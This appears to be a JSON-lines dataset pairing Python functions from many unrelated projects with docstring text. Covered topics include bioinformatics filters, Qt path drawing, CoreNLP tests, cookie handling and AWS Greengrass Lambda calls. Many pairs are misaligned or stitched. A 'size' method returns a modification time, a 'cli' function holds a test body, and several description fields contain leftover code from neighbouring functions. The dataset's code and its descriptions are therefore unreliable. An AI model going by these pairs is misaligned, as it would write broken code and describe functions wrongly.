'__main__':\n args = parser.parse_args()\n\n input_iterator = seq_util.read_seq_records(\n args.input_fastx, format=args.i)\n\n names = args.n.split(',')\n\n output_iterator = record_filter(input_iterator, args.i, names)\n\n seq_util.write_seq_records(output_iterator, args.output_fastx, format=args.o)", "nl": " Filter SeqRecord objects by length and mean quality.:param input_iter: Iterator of SeqRecord objects.:param in_format: Input format.:param to_alphabet: Convert to this alphabet.:returns: SeqRecord object.:rtype: generator"} {"code": "def cli():\n result = runner.invoke(broken_cli)\n assert result.exit_code == 0\n\n for ep in iter_entry_points(\"_test_click_plugins.broken_plugins\"):\n cmd_result = runner.invoke(broken_cli, [ep.name, \"--help\"])\n assert cmd_result.exit_code != 0\n assert \"Traceback\" in cmd_result.output\n\n", "nl": "Whateverdef test_broken_register_and_run_with_help(runner):Test the broken registration of the plugin when the command is run with the '--help' flag."} {"code": "def test_projection_based(self):\n x = [0, 0, 0]\n L = np.array([[5, 9, 3], [7, 8, 5], [4, 4, 9], [0, 1, 7]])\n solver = solvers.projection_based(L=L, step=1.)\n params = {'solver': solver, 'verbosity': 'NONE'}\n\n f = functions.norm_l1(y=np.array([294, 390, 361]))\n g = functions.norm_l1()\n ret = solvers.solve([f, g], np.array([500, 1000, -400]),\n maxit=1000, rtol=None, xtol=0.1, **params)\n nptest.assert_allclose(ret['sol'], x, rtol=1e-5)\n", "nl": "Test the projection-based solver with arbitrarily selected functions."} {"code": "def size(self):\n return self.info().mtime\n\n", "nl": " Return the size of the file content of the Path. return self.info().sizedef mtime(self): Return the last modification time of the file. "} {"code": "def arrayToQPath(x, y, connect='all', finiteCheck=True):\n\n path = QtGui.QPainterPath()\n n = x.shape[0]\n\n connect_array = None\n if isinstance(connect, np.ndarray):\n connect_array, connect = connect, 'array'\n\n use_qpolygonf = connect == 'all'\n\n isfinite = None\n if connect == 'finite':\n isfinite = np.isfinite(x) & np.isfinite(y)\n if not finiteCheck:\n use_qpolygonf = True\n else:\n nonfinite_cnt = n - np.sum(isfinite)\n if nonfinite_cnt / n < 2 / 100:\n use_qpolygonf = True\n finiteCheck = False\n if nonfinite_cnt == 0:\n connect = 'all'\n\n if use_qpolygonf:\n backstore = create_qpolygonf(n)\n arr = np.frombuffer(ndarray_from_qpolygonf(backstore), dtype=[('x', 'f8'), ('y', 'f8')])\n else:\n backstore = bytearray(4 + n*20 + 8)\n arr = np.frombuffer(backstore, dtype=[('c', '>i4'), ('x', '>f8'), ('y', '>f8')],\n count=n, offset=4)\n struct.pack_into('>i', backstore, 0, n)\n struct.pack_into('>ii', backstore, 4+n*20, 0, 0)\n\n arr['x'] = x\n arr['y'] = y\n\n if finiteCheck:\n if isfinite is None:\n isfinite = np.isfinite(x) & np.isfinite(y)\n if not np.all(isfinite):\n mask = ~isfinite\n idx = np.arange(len(x))\n idx[mask] = -1\n np.maximum.accumulate(idx, out=idx)\n first = np.searchsorted(idx, 0)\n if first < len(x):\n idx[:first] = first\n arr[:] = arr[:][idx]\n\n if connect == 'all':\n path.addPolygon(backstore)\n return path\n elif connect == 'pairs':\n arr['c'][::2] = 0\n arr['c'][1::2] = 1\n elif connect == 'finite':\n if not use_qpolygonf:\n arr[1:]['c'] = isfinite[:-1]\n else:\n sidx = np.nonzero(~isfinite)[0] + 1\n chunks = np.split(arr, sidx)\n\n maxlen = max(len(chunk) for chunk in chunks)\n subpoly = create_qpolygonf(maxlen)\n subarr = np.frombuffer(ndarray_from_qpolygonf(subpoly), dtype=arr.dtype)\n\n if hasattr(subpoly, 'resize'):\n subpoly_resize = subpoly.resize\n else:\n subpoly_resize = lambda n, v=QtCore.QPointF() : subpoly.fill(v, n)\n\n\n for chunk in chunks[:-1]:\n lc = len(chunk)\n if lc <= 1:\n continue\n subpoly_resize(lc)\n subarr[:lc] = chunk\n subarr[lc-1] = subarr[lc-2]\n path.addPolygon(subpoly)\n\n for chunk in chunks[-1:]:\n lc = len(chunk)\n if lc <= 1:\n continue\n subpoly_resize(lc)\n subarr[:lc] = chunk\n path.addPolygon(subpoly)\n\n return path\n elif connect == 'array':\n arr[1:]['c'] = connect_array[:-1]\n else:\n raise ValueError('connect argument must be \"all\", \"pairs\", \"finite\", or array')\n\n arr[0]['c'] = 0\n\n path.strn = backstore\n if QT_LIB == \"PyQt6\" and QtCore.PYQT_VERSION < 0x60101:\n buf = QtCore.QByteArray(path.strn, len(path.strn))\n else:\n buf = QtCore.QByteArray(path.strn)\n ds = QtCore.QDataStream(buf)\n ds >> path\n return path\n", "nl": "Convert an array of x,y coordinates to QPainterPath as efficiently aspossible. The *connect* argument may be 'all', indicating that each pointshould be connected to the next; 'pairs', indicating that each pair ofpoints should be connected, or an array of int32 values (0 or 1) indicatingconnections.Parameters----------x : (N,) ndarrayx-values to be plottedy : (N,) ndarrayy-values to be plotted, must be same length as `x`connect : {'all', 'pairs', 'finite', (N,) ndarray}, optionalArgument detailing how to connect the points in the path. `all` willhave sequential points being connected. `pairs` generates linesbetween every other point. `finite` only connects points that arefinite. If an ndarray is passed, containing int32 values of 0 or 1,only values with 1 will connect to the previous point. DeffiniteCheck : bool, default TureWhen false, the check for finite values will be skipped, which canimprove performance. If finite values are present in `x` or `y`,an empty QPainterPath will be generated.Returns-------QPainterPathQPainterPath object to be drawnRaises------ValueErrorRaised when the connect argument has an invalid value placed within.Notes-----A QPainterPath is generated through one of two ways. When the connectparameter is 'all', a QPolygonF object is created, and``QPainterPath.addPolygon()`` is called. For other connect parametersa ``QDataStream`` object is created and the QDataStream >> QPainterPathoperator is used to pass the data. The memory format is as followsnumVerts(i4)0(i4) x(f8) y(f8) <-- 0 means this vertex does not connect1(i4) x(f8) y(f8) <-- 1 means this vertex connects to the previous vertex...cStart(i4) fillRule(i4)see: https://github.com/qt/qtbase/blob/dev/src/gui/painting/qpainterpath.cppAll values are big endian--pack using struct.pack('>d') or struct.pack('>i')This binary format may change in future versions of Qt"} {"code": "def get_array_wrap(*args):\n wrappers = sorted((getattr(x, '__array_priority__', 0), -i,\n x.__array_wrap__) for i, x in enumerate(args)\n if hasattr(x, '__array_wrap__'))\n if wrappers:\n return wrappers[-1][-1]\n return None\n\n", "nl": "Find the wrapper for the array with the highest priority.In case of ties, leftmost wins. If no wrapper is found, return None"} {"code": "def bandit(self, choice_rewards):\n return max(choice_rewards, key=lambda a: np.mean(choice_rewards[a]))\n", "nl": "Return the choice to take next using multi-armed banditMulti-armed bandit method. Accepts a mapping of choices to rewards which indicate theirhistorical performance, and returns the choice that we should make next in order tomaximize expected reward in the long term.The default implementation is to return the arm with the highest average score.Args:choice_rewards (Dict[object, List[float]]): maps choice IDs to lists of rewards.Returns:str: the name of the choice to take next."} {"code": "def test_no_duplicate_servers():\n corenlp_home = client.resolve_classpath(None)\n start_cmd = f'java -Xmx5g -cp \"{corenlp_home}\" edu.stanford.nlp.pipeline.StanfordCoreNLPServer -port 9001 ' \\\n f'-timeout 60000 -server_id stanza_external_server -serverProperties {SERVER_TEST_PROPS}'\n start_cmd = start_cmd and shlex.split(start_cmd)\n external_server_process = subprocess.Popen(start_cmd)\n with corenlp.CoreNLPClient(start_server=False, endpoint=\"http://localhost:9001\") as external_server_client:\n ann = external_server_client.annotate(TEXT, annotators='tokenize,ssplit,pos', output_format='text')\n assert external_server_process\n external_server_process.terminate()\n external_server_process.wait(5)\n assert ann.strip() == EN_GOLD\n", "nl": "We expect a second server on the same port to failwith pytest.raises(corenlp.PermanentlyFailedException):with corenlp.CoreNLPClient(annotators=\"tokenize,ssplit\") as duplicate_server:raise RuntimeError(\"This should have failed\")def test_annotate(corenlp_client):ann = corenlp_client.annotate(TEXT)assert corenlp.to_text(ann.sentence[0]) == TEXT[:-1]def test_update(corenlp_client):ann = corenlp_client.annotate(TEXT)ann = corenlp_client.update(ann)assert corenlp.to_text(ann.sentence[0]) == TEXT[:-1]def test_tokensregex(corenlp_client):pattern = '([ner: PERSON]+) /wrote/ /an?/ []{0,3} /sentence|article/'matches = corenlp_client.tokensregex(TEXT, pattern)assert len(matches[\"sentences\"]) == 1assert matches[\"sentences\"][0][\"length\"] == 1assert matches == {\"sentences\": [{\"0\": {\"text\": \"Chris wrote a simple sentence\",\"begin\": 0,\"end\": 5,\"1\": {\"text\": \"Chris\",\"begin\": 0,\"end\": 1}},\"length\": 1},]}def test_semgrex(corenlp_client):pattern = '{word:wrote} >nsubj {}=subject >obj {}=object'matches = corenlp_client.semgrex(TEXT, pattern, to_words=True)assert matches == [{\"text\": \"wrote\",\"begin\": 1,\"end\": 2,\"$subject\": {\"text\": \"Chris\",\"begin\": 0,\"end\": 1},\"$object\": {\"text\": \"sentence\",\"begin\": 4,\"end\": 5},\"sentence\": 0,}]def test_external_server_legacy_start_server(): Test starting up an external server and accessing with a client with start_server=False "} {"code": "def set_cookie(self, name, value, secret=None, **options):\n if not self._cookies:\n self._cookies = SimpleCookie()\n\n if secret:\n value = touni(cookie_encode((name, value), secret))\n elif not isinstance(value, basestring):\n raise TypeError('Secret key missing for non-string Cookie.')\n\n if len(value) > 4096: raise ValueError('Cookie value to long.')\n self._cookies[name] = value\n\n for key, value in options.items():\n if key == 'max_age':\n if isinstance(value, timedelta):\n value = value.seconds + value.days * 24 * 3600\n if key == 'expires':\n if isinstance(value, (datedate, datetime)):\n value = value.timetuple()\n elif isinstance(value, (int, float)):\n value = time.gmtime(value)\n value = time.strftime(\"%a, %d %b %Y %H:%M:%S GMT\", value)\n self._cookies[name][key.replace('_', '-')] = value\n", "nl": " Create a new cookie or replace an old one. If the `secret` parameter isset, create a `Signed Cookie` (described below).:param name: the name of the cookie.:param value: the value of the cookie.:param secret: a signature key required for signed cookies.Additionally, this method accepts all RFC 2109 attributes that aresupported by :class:`cookie.Morsel`, including::param max_age: maximum age in seconds. (default: None):param expires: a datetime object or UNIX timestamp. (default: None):param domain: the domain that is allowed to read the cookie.(default: current domain):param path: limits the cookie to a given path (default: current path):param secure: limit the cookie to HTTPS connections (default: off).:param httponly: prevents client-side javascript to read this cookie(default: off, requires Python 2.6 or newer).If neither `expires` nor `max_age` is set (default), the cookie willexpire at the end of the browser session (as soon as the browserwindow is closed).Signed cookies may store any pickle-able object and arecryptographically signed to prevent manipulation. Keep in mind thatcookies are limited to 4kb in most browsers.Warning: Signed cookies are not encrypted (the client can still seethe content) and not copy-protected (the client can restore an oldcookie). The main intention is to make pickling and unpicklingsave, not to store secret information at client side."} {"code": "def test_tb_4(self):", "nl": "b = def foo():a = 5raise Exception,5,6b = 6"} {"code": "def make_short_filename(basedir, relpath, win_shorten_path=False, relative_to=\"\"):\n try:\n basedir = os.path.abspath(basedir)\n except FileNotFoundError:\n basedir = QStandardPaths.writableLocation(QStandardPaths.StandardLocation.MusicLocation)\n relpath = os.path.normpath(relpath)\n if win_shorten_path and relative_to:\n relative_to = os.path.abspath(relative_to)\n assert basedir.startswith(relative_to) and \\\n basedir.split(relative_to)[1][:1] in (os.path.sep, ''), \\\n \"`relative_to` must be an ancestor of `basedir`\"\n relpath = os.path.join(*[part.strip() for part in relpath.split(os.path.sep)])\n if IS_WIN:\n if win_shorten_path:\n reserved = len(basedir)\n if not basedir.endswith(os.path.sep):\n reserved += 1\n return _make_win_short_filename(relpath, reserved)\n else:\n return shorten_path(relpath, WIN_MAX_NODE_LEN, mode=ShortenMode.UTF16)\n elif win_shorten_path:\n if not relative_to:\n relative_to = _get_mount_point(basedir)\n if relative_to == os.path.sep:\n relative_to = os.path.dirname(basedir)\n reserved = len(basedir) - len(relative_to) + 3 + 1\n relpath = _make_win_short_filename(relpath, reserved)\n if IS_MACOS:\n relpath = shorten_path(relpath, 255, mode=ShortenMode.UTF16_NFD)\n else:\n limit = _get_filename_limit(basedir)\n relpath = shorten_path(relpath, limit, mode=ShortenMode.BYTES)\n return relpath\n\n", "nl": "Shorten a filename's path to proper limits.basedir: Absolute path of the base directory where files will be moved.relpath: File path, relative from the base directory.win_shorten_path: Enforce 259 character limit for the path for Windows compatibility.relative_to: An ancestor directory of basedir, against which win_shorten_pathwill be applied."} {"code": "def _notify_switch_changes(self, change: MonitoredSwitchChange):\n if not self.machine.bcp.transport.get_transports_for_handler(\"_modes\"):\n self.machine.mode_controller.register_start_method(self._mode_start, 'mode')\n self.machine.events.add_handler(\"modes_active_modes_changed\", self._send_mode_list)\n\n self.machine.bcp.transport.add_handler_to_transport(\"_modes\", client)\n\n self.machine.bcp.transport.send_to_client(\n client=client,\n bcp_command=\"mode_list\",\n running_modes=[(m.name, m.priority) for m in self.machine.mode_controller.active_modes])\n", "nl": "Notify all listeners about switch change.self.machine.bcp.transport.send_to_clients_with_handler(handler=\"_switches\",bcp_command='switch',name=change.name,state=change.state)def _monitor_player_vars(self, client):# Setup player variables to be monitored (if necessary)if not self.machine.bcp.transport.get_transports_for_handler(\"_player_vars\"):Player.monitor_enabled = Trueself.machine.register_monitor('player', self._player_var_change)self.machine.bcp.transport.add_handler_to_transport(\"_player_vars\", client)def _monitor_player_vars_stop(self, client):self.machine.bcp.transport.remove_transport_from_handle(\"_player_vars\", client)# If there are no more clients monitoring player variables, stop monitoringif not self.machine.bcp.transport.get_transports_for_handler(\"_player_vars\"):Player.monitor_enabled = Falsedef _monitor_machine_vars(self, client):# Setup machine variables to be monitored (if necessary)if not self.machine.bcp.transport.get_transports_for_handler(\"_machine_vars\"):self.machine.variables.machine_var_monitor = Trueself.machine.register_monitor('machine_vars', self._machine_var_change)# Send initial machine variable valuesself._send_machine_vars(client)# Establish handler for machine variable changesself.machine.bcp.transport.add_handler_to_transport(\"_machine_vars\", client)def _monitor_machine_vars_stop(self, client):self.machine.bcp.transport.remove_transport_from_handle(\"_machine_vars\", client)# If there are no more clients monitoring machine variables, stop monitoringif not self.machine.bcp.transport.get_transports_for_handler(\"_machine_vars\"):self.machine.machine_var_monitor = Falsedef _send_machine_vars(self, client):self.machine.bcp.transport.send_to_client(client, bcp_command='settings', settings=Util.convert_to_simply_type(self.machine.settings.get_settings()))for var_name, settings in self.machine.variables.machine_vars.items():self.machine.bcp.transport.send_to_client(client, bcp_command='machine_variable',name=var_name,value=settings['value'])# pylint: disable-msg=too-many-argumentsdef _player_var_change(self, name, value, prev_value, change, player_num):self.machine.bcp.transport.send_to_clients_with_handler(handler=\"_player_vars\",bcp_command='player_variable',name=name,value=value,prev_value=prev_value,change=change,player_num=player_num)def _machine_var_change(self, name, value, prev_value, change):self.machine.bcp.transport.send_to_clients_with_handler(handler=\"_machine_vars\",bcp_command='machine_variable',name=name,value=value,prev_value=prev_value,change=change)def _monitor_modes(self, client):Begin monitoring all mode events (start, stop) via the specified client."} {"code": "def on_tls_request(self, record):\n return record.to_bytes()\n", "nl": "Called when the client sends a tls record to the serverrecord: tls.types.TlsRecord the client sentReturns the bytes to be sent in place of the record"} {"code": "def has_client(self, client: 'PathClient') -> bool:\n if not self.attached:\n raise ValueError('Path has been detached!')\n\n id_ = client.id\n\n if id_ == INITIATOR_ADDRESS:\n return self._initiator == client\n\n try:\n id_ = ResponderAddress(id_)\n except ValueError:\n return False\n try:\n return self._responders[id_] == client\n except KeyError:\n return False\n", "nl": "Return whether a client's :class:`PathClient` instance is stillavailable on the path.Arguments:- `client`: The :class:`PathClient` instance to look for.Raises :exc:`ValueError` in case of a state violation on the:class:`PathClient`."} {"code": "def get_command_list(self):\n import distutils.command\n std_commands = distutils.command.__all__\n is_std = {}\n for cmd in std_commands:\n is_std[cmd] = 1\n\n extra_commands = []\n for cmd in self.cmdclass.keys():\n if not is_std.get(cmd):\n extra_commands.append(cmd)\n\n rv = []\n for cmd in (std_commands + extra_commands):\n klass = self.cmdclass.get(cmd)\n if not klass:\n klass = self.get_command_class(cmd)\n try:\n description = klass.description\n except AttributeError:\n description = \"(no description available)\"\n rv.append((cmd, description))\n return rv\n\n", "nl": "Get a list of (command, description) tuples.The list is divided into \"standard commands\" (listed indistutils.command.__all__) and \"extra commands\" (mentioned inself.cmdclass, but not a standard command). The descriptions comefrom the command class attribute 'description'."} {"code": "def multiply(image1, image2):\n\n image1.load()\n image2.load()\n return image1._new(image1.im.chop_multiply(image2.im))\n\n", "nl": "Superimposes two images on top of each other.If you multiply an image with a solid black image, the result is black. Ifyou multiply with a solid white image, the image is unaffected. At leastone of the images must have mode \"1\"... code-block:: pythonout = image1 * image2 / MAX:rtype: :py:class:`~PIL.Image.Image`"} {"code": "def pairs(self):\n return self._pairs\n\n @pairs.setter", "nl": "A list of (lo, hi) tuples."} {"code": "def get_acls(self, obj_collection, obj_ids):\n\n query = json.dumps(\n {'$or': [{'_key': ObjectACL.generate_key(obj_collection, obj_id)}\n for obj_id in obj_ids]})\n obj_acls = self._collection_data.query(query=query)\n\n return [ObjectACL.parse(obj_acl) for obj_acl in obj_acls]\n\n @retry(exceptions=[binding.HTTPError])", "nl": "Batch get acl info.Query objects acl info with parameter of the combination of`obj_collection` and `obj_ids` from KVStore and return them.:param obj_collection: Collection where object currently stored.:type obj_collection: ``string``:param obj_ids: IDs of objects.:type obj_ids: ``list``:returns: List of `ObjectACL` instances.:rtype: ``list``"} {"code": "def run_tvm_cli(config_path, output_folder, extra_run_args):\n output_folder = path.join(root_folder, network_name, backend)\n Path(output_folder).mkdir(parents=True, exist_ok=True)\n\n config_path = networks_to_compile[network_name]\n extra_run_args = ['--target', backend]\n run_tvm_cli(config_path, output_folder, extra_run_args)\n\n@pytest.mark.skipif(os.uname().machine == 'aarch64',\n reason='would cross-compile to itself')\n@pytest.mark.parametrize('network_name', list(networks_to_compile))", "nl": "Execute tvm_cli and check the return coderun_arg = [path.join(MOUNT_PATH, \"./scripts/tvm_cli/tvm_cli.py\"),'compile','--config', config_path,'--output_path', output_folder]run_arg += extra_run_argsproc = subprocess.run(run_arg, check=True)assert proc.returncode == 0# Check if the files have been generatedassert os.path.exists(os.path.join(output_folder, 'deploy_graph.json'))assert os.path.exists(os.path.join(output_folder, 'deploy_lib.so'))assert os.path.exists(os.path.join(output_folder, 'deploy_param.params'))assert os.path.exists(os.path.join(output_folder,'inference_engine_tvm_config.hpp'))# Create a list containing the paths to all the .yaml files found in the# mounted folderdefinition_files = glob(MOUNT_PATH + '/**/definition.yaml', recursive=True)# Create a dictionary containing the network names associated to their path, for# the files which have enable_testing: truenetworks_to_compile = {}for definition_file in definition_files:with open(definition_file, 'r', encoding='utf-8') as yaml_file:yaml_dict = yaml.safe_load(yaml_file)if yaml_dict['enable_testing']:name = definition_file.split(path.sep)[-3]networks_to_compile[name] = definition_fileroot_folder = path.join(MOUNT_PATH, 'neural_networks', os.uname().machine)# Parameterizing the test_tvm_cli function, we generate separate tests for# every .yaml file: one for each target backend.@pytest.mark.parametrize('backend', BACKENDS)@pytest.mark.parametrize('network_name', list(networks_to_compile))def test_tvm_cli(backend, network_name):Executes a test for each backend-network combination"} {"code": "def lam_hm(self):\n return (\n 2\n * np.pi\n * self.lam_eff_fs\n * (2 ** (self.params[\"mu\"] / 5) - 1) ** (-0.5 / self.params[\"mu\"])\n )\n\n @property", "nl": "Half-mode scale.From Schneider+2012, Eq. 8."} {"code": "def _bytesChr(i):\n if _PY3:\n return bytes([i])\n else:\n return chr(i)\n\n\n\ntry:\n from sys import intern\nexcept ImportError:\n intern = intern\n\n\n", "nl": "Like L{chr} but always works on ASCII, returning L{bytes}.@param i: The ASCII code point to return.@type i: L{int}@rtype: L{bytes}"} {"code": "def connection() -> xcc.Connection:\n any arguments.\n \"\"\"", "nl": "A mock connection.return xcc.Connection(refresh_token=\"j.w.t\", host=\"cloud.xanadu.ai\", port=443, tls=True)def mock_return(return_value):A helper function for defining a mock function that returns the given value for"} {"code": "def run_interaction(cls) -> subprocess.Popen:\n return cls._start_cli_process(\"interact\")\n\n @classmethod", "nl": "Run interaction as subprocess.Run from agent's directory.:return: subprocess object."} {"code": "def get_namespace(self, nl, filter_level, repr_limit):\n frame_index = self.get_frame_index()\n fAnalyzeMode = (self.m_state_manager.get_state() == STATE_ANALYZE)\n\n r = self.getSession().getProxy().get_namespace(nl, filter_level, frame_index, fAnalyzeMode, repr_limit, self.m_encoding, self.m_fraw)\n return r\n\n", "nl": " See CSessionManager.get_namespace() for more details.Arguments::param nl: list of (expr, boolean) with:expr: expression to be computedboolean: tells whether subnodes of the expression should be returned as well (class content,list content, ...):param filter_level: int, 0 1 or 2:param repr_limit: max length of the expression to return:return: a list of dictionnaries, where each item of the list represent an item in nl"} {"code": "def invoke(self, **kwargs):\n\n if 'FunctionName' not in kwargs:\n raise ValueError(\n '\"FunctionName\" argument of Lambda.Client.invoke is a required argument but was not provided.'\n )\n\n arn_fields = FunctionArnFields(kwargs['FunctionName'])\n arn_qualifier = arn_fields.qualifier\n\n extraneous_qualifier = kwargs.get('Qualifier', '')\n\n if extraneous_qualifier and arn_qualifier and arn_qualifier != extraneous_qualifier:\n raise ValueError('The derived qualifier from the function name does not match the specified qualifier.')\n\n final_qualifier = arn_qualifier if arn_qualifier else extraneous_qualifier\n\n try:\n function_arn = FunctionArnFields.build_function_arn(arn_fields.unqualified_arn, final_qualifier)\n except AttributeError:\n raise AttributeError('class FunctionArnFields has no attribute \\'build_function_arn\\'. build_function_arn '\n 'is introduced in GGC v1.9.0. Please check your GGC version.')\n\n try:\n client_context = kwargs.get('ClientContext', b'').decode()\n except AttributeError as e:\n customer_logger.exception(e)\n raise ValueError(\n '\"ClientContext\" argument must be a byte string or support a decode method which returns a string'\n )\n\n if client_context:\n if not re.match(valid_base64_regex, client_context):\n raise ValueError('\"ClientContext\" argument of Lambda.Client.invoke must be base64 encoded.')\n\n payload = kwargs.get('Payload', b'')\n invocation_type = kwargs.get('InvocationType', 'RequestResponse')\n customer_logger.debug('Invoking local lambda \"{}\" with payload \"{}\" and client context \"{}\"'.format(\n function_arn, payload, client_context))\n\n return self._invoke_internal(function_arn, payload, client_context, invocation_type)\n\n @mock", "nl": "rInvokes Lambda function of the given name.:Keyword Arguments:* *ClientContext* (``bytes``) --Optional Base64-encoded data about the invoking client to pass to the Lambda function* *FunctionName* (``string``) --[REQUIRED]The Amazon Resource Name (ARN) of the Lambda function to invoke. Name formats:* Qualified ARN - The function ARN with the version suffix. e.g. arn:aws:lambda:aws-region:acct-id:function:helloworld:1* Unqualified ARN - The function ARN without the version suffix. e.g. arn:aws:lambda:aws-region:acct-id:function:helloworld* *InvocationType* (``string``) --Choose from the following options.* ``RequestResponse`` (default) - Invoke the Lambda synchronously. Block until the function returns a response or times out.* ``Event`` - Invoke the Lambda asynchronously. The response only includes empty payload.* *Payload* (``bytes``) --Optional input for the Lambda function to invoke.* *Qualifier* (``string``) --Optional parameter to specify a Lambda function version if it was not included in the FunctionName field.If you specify a function version, the API uses the qualified function ARN to invoke a specific Lambda function.:returns: (``dict``) --* *FunctionError* (``string``) --If present, indicates that an error occurred while executing the Lambda function. If an error occurred,this field will have one of two values, ``Handled`` or ``Unhandled``. ``Handled`` errors are errors that are reported by the functionwhile the ``Unhandled`` errors are those detected and reported by Greengrass Core.``Unhandled`` errors include out of memory errors and function timeouts. Error details are provided in the Payload.* *Payload* (``bytes or StreamingBody object``) --It is the result returned by the Lambda function. This is present only if the invocation type is ``RequestResponse``.In the event of a function error this field contains a message describing the error."} {"code": "def _uri2path(self, uri):\n if uri == self.package_name:\n return os.path.join(self.root_path, \"__init__.py\")\n path = uri.replace(self.package_name + \".\", \"\")\n path = path.replace(\".\", os.path.sep)\n path = os.path.join(self.root_path, path)\n if os.path.exists(path + \".py\"):\n path += \".py\"\n elif os.path.exists(os.path.join(path, \"__init__.py\")):\n path = os.path.join(path, \"__init__.py\")\n else:\n return None\n return path\n", "nl": "Convert uri to absolute filepathParameters----------uri : stringURI of python module to return path forReturns-------path : None or stringReturns None if there is no valid path for this URIOtherwise returns absolute file system path for URIExamples-------->>> docwriter = ApiDocWriter('sphinx')>>> import sphinx>>> modpath = sphinx.__path__[0]>>> res = docwriter._uri2path('sphinx.builder')>>> res == os.path.join(modpath, 'builder.py')True>>> res = docwriter._uri2path('sphinx')>>> res == os.path.join(modpath, '__init__.py')True>>> docwriter._uri2path('sphinx.does_not_exist')"} {"code": "def are_pod_volumes_compatible(cls, volumes, owner_id, pod_params):\n return True, None\n\n @classmethod", "nl": "Should check if volumes of one pod can be created.Returns tuple of compatibility flag and pinned node name (if volumes must be placed to that node only)"} {"code": "def _make_zipfile(base_name, base_dir, verbose=0, dry_run=0, logger=None):\n zip_filename = base_name + \".zip\"\n archive_dir = os.path.dirname(base_name)\n\n if not os.path.exists(archive_dir):\n if logger is not None:\n logger.info(\"creating %s\", archive_dir)\n if not dry_run:\n os.makedirs(archive_dir)\n\n try:\n import zipfile\n except ImportError:\n zipfile = None\n\n if zipfile is None:\n _call_external_zip(base_dir, zip_filename, verbose, dry_run)\n else:\n if logger is not None:\n logger.info(\"creating '%s' and adding '%s' to it\",\n zip_filename, base_dir)\n\n if not dry_run:\n with zipfile.ZipFile(zip_filename, \"w\",\n compression=zipfile.ZIP_DEFLATED) as zf:\n for dirpath, dirnames, filenames in os.walk(base_dir):\n for name in filenames:\n path = os.path.normpath(os.path.join(dirpath, name))\n if os.path.isfile(path):\n zf.write(path, path)\n if logger is not None:\n logger.info(\"adding '%s'\", path)\n\n return zip_filename\n\n_ARCHIVE_FORMATS = {\n 'gztar': (_make_tarball, [('compress', 'gzip')], \"gzip'ed tar-file\"),\n 'bztar': (_make_tarball, [('compress', 'bzip2')], \"bzip2'ed tar-file\"),\n 'tar': (_make_tarball, [('compress', None)], \"uncompressed tar file\"),\n 'zip': (_make_zipfile, [],\"ZIP file\")\n }\n", "nl": "Create a zip file from all the files under 'base_dir'.The output zip file will be named 'base_name' + \".zip\". Uses either the\"zipfile\" Python module (if available) or the InfoZIP \"zip\" utility(if installed and found on the default search path). If neither tool isavailable, raises ExecError. Returns the name of the output zipfile."} {"code": "def test_patch_resource_with_mismatched_id(self):\n user = models.User(\n first='Sally', last='Smith',\n password='password', username='SallySmith1')\n self.session.add(user)\n blog_post = models.Post(\n title='This Is A Title', content='This is the content')\n self.session.add(blog_post)\n self.session.commit()\n payload = {\n 'data': {\n 'type': 'posts',\n 'id': 2,\n 'attributes': {\n 'title': 'This is a new title'\n },\n 'relationships': {\n 'author': {\n 'data': {\n 'type': 'users',\n 'id': user.id\n }\n }\n }\n }\n }\n\n with self.assertRaises(errors.BadRequestError) as error:\n models.serializer.patch_resource(\n self.session, payload, 'posts', blog_post.id)\n\n expected_detail = 'IDs do not match'\n self.assertEqual(error.exception.detail, expected_detail)\n self.assertEqual(error.exception.status_code, 400)\n", "nl": "Patch resource with mismatched id results in 400.A BadRequestError is raised."} {"code": "def _convert_token_to_id(self,token):\n if index in self.fairseq_ids_to_tokens:\n return self.fairseq_ids_to_tokens[index]\n return self.sp_model.IdToPiece(index - self.fairseq_offset)", "nl": " Converts a token (str) in an id using the vocab. if token in self.fairseq_tokens_to_ids:return self.fairseq_tokens_to_ids[token]spm_id = self.sp_model.PieceToId(token)# Need to return unknown token if the SP model returned 0return spm_id + self.fairseq_offset if spm_id else self.fairseq_tokens_to_ids[self.unk_token]def encode(self,text,text_b=None):tokens = self._tokenize(text)input_ids = []for token in tokens:input_ids.append(self._convert_token_to_id(token))input_ids_b = Noneif text_b is not None:input_ids_b = []tokens_b = self._tokenize(text_b)for token in tokens_b:input_ids_b.append(self._convert_token_to_id(token))#input_ids = self.build_inputs_with_special_tokens(input_ids,input_ids_b)return input_idsdef decode(self,token_ids):_out = []for token_id in token_ids:_out.append(self._convert_id_to_token(token_id))return self.convert_tokens_to_string(_out)def _convert_id_to_token(self,index):Converts an index (integer) in a token (str) using the vocab."} {"code": "def test_passthrough_extra_rule(self):\n \"\"\"", "nl": "Tests PassThrough setup when rule needs to be removed.# Disable protected-access: Test access protected members.# pylint: disable=protected-accesstreadmill.iptables._get_current_passthrough_rules.return_value = \\self.passthrough_rulesextra_rule = firewall.PassThroughRule(src_ip='10.197.19.19',dst_ip='192.168.2.2')passthroughs = self.passthrough_rules - set([extra_rule, ])iptables.configure_passthrough_rules(passthroughs,iptables.PREROUTING_PASSTHROUGH)self.assertEqual(0, treadmill.iptables.add_passthrough_rule.call_count)treadmill.iptables.delete_passthrough_rule.assert_called_with(extra_rule,chain=iptables.PREROUTING_PASSTHROUGH)@mock.patch('treadmill.subproc.check_call', mock.Mock(autospec=True))def test_flush_cnt_conntrack_table(self):Test flushing container conntrack rules."} {"code": "def get_10x_lr_params(model):\n b = [model.aspp1, model.aspp2, model.aspp3, model.aspp4, model.conv1, model.conv2, model.last_conv]\n for j in range(len(b)):\n for k in b[j].parameters():\n if k.requires_grad:\n yield k\n\n\nif __name__ == \"__main__\":\n model = DeepLabv3_plus(nInputChannels=3, n_classes=21, os=16, pretrained=True, _print=True)\n model.eval()\n image = torch.randn(1, 3, 512, 512)\n with torch.no_grad():\n output = model.forward(image)\n print(output.size())\n\n\n\n\n\n", "nl": "This generator returns all the parameters for the last layer of the net,which does the classification of pixel into classes"} {"code": "def p(self) -> None:\n Write a line of text. A single space is inserted between lines, if format=True.\n If end=True, the current paragraph is ended and a new one begins.\n If format=True, the text will be formatted when output, otherwise it is outputted as-is.\n \"\"\"", "nl": "Paragraph terminator. Start new paragraph on next line.if not self.in_paragraph:self.__new_paragraph(False)self.in_paragraph = Falsedef __new_paragraph(self, format: bool) -> Paragraph:p = TextBuffer.Paragraph(format)self.paragraphs.append(p)self.in_paragraph = Truereturn pdef print(self, line: str, end: bool=False, format: bool=True) -> None:"} {"code": "def test_enforcing_textual_header_encoding_while_reading(self):\n file = os.path.join(self.path, 'ld0042_file_00018.sgy_first_trace')\n st1 = _read_segy(file, textual_header_encoding='EBCDIC')\n self.assertEqual(st1.stats.textual_file_header[3:21],\n b'CLIENT: LITHOPROBE')\n 